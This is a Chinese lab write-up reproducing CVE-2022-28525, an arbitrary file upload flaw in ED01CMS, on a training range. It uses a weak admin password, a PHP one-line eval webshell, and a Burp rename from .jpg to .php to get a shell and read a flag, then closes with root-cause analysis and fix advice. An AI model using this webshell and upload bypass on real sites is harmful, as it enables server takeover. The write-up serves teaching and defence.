CVE-2022-28525 ED01CMS 任意文件上传漏洞复现与原理分析
漏洞编号:CVE-2022-28525
影响版本:ED01CMS v20180505
漏洞类型:任意文件上传(高危)
利用入口:后台用户管理 → 用户头像上传
测试工具:Burp Suite、蚁剑
一、漏洞概述
ED01CMS v20180505 后台用户添加功能存在任意文件上传漏洞。
系统仅前端限制上传类型,后端未做任何校验,攻击者可上传 PHP 木马获取 Webshell,进而控制服务器、读取 Flag。
二、漏洞复现操作步骤
1、在春秋云镜中启动靶场

-
进入用户注册页面



- 登录后台管理面板,发现注册页面无用,尝试弱口令admin admin,登录成功。

4、每个页面都点点,点击 Users Manager → Add User,找到头像上传入口。
所有带星号的都必须填写。

-
制作上传几句话木马,新建文件夹,填入之后,把文件重命名为1.jpg。上传图片,并使用burpsuit拦截。
<?php eval($_POST['666']);?>

6、拦截成功后,修改1.jpg 为 1.php后放行


7、打开users-->user manager 看到用户已经上传成功。点击图片,右键复制图像链接。

8、打开蚁剑,链接上传的木马

9、链接成功,成功获取 Webshell、获得服务器控制权限。


- 进入网站根目录、查找 Flag、找到 Flag 文件、读取 Flag 内容

成功获取 Flag:
flag{4c14675a-d2f1-4248-8ade-499e4c2e4d62}


三、漏洞原理分析
1. 漏洞根本原因
- 仅前端校验,可轻松绕过
- 后端未校验文件后缀、类型、内容
- 上传目录
/images/支持 PHP 解析 - 无文件重命名,文件名完全可控
2. 漏洞触发流程
- 进入后台添加用户,触发头像上传
- Burp 抓包修改文件名为
.php - 后端直接保存文件
- 访问上传路径触发木马
- 获取 Webshell → 读取 Flag
3. 漏洞类型
典型无过滤任意文件上传漏洞
属于 Web 漏洞中危害最高的一类。
四、防护修复建议
- 文件后缀使用白名单校验
- 校验文件头(幻数),防止伪装图片
- 上传文件强制随机重命名
- 上传目录设置为不可执行 PHP
- 前后端双重校验,不依赖前端限制
五、总结
CVE-2022-28525 是 ED01CMS 中典型的文件上传漏洞,利用简单、危害巨大。
攻击者仅需抓包修改文件名,即可拿到服务器权限,完成文件读取、命令执行等恶意操作。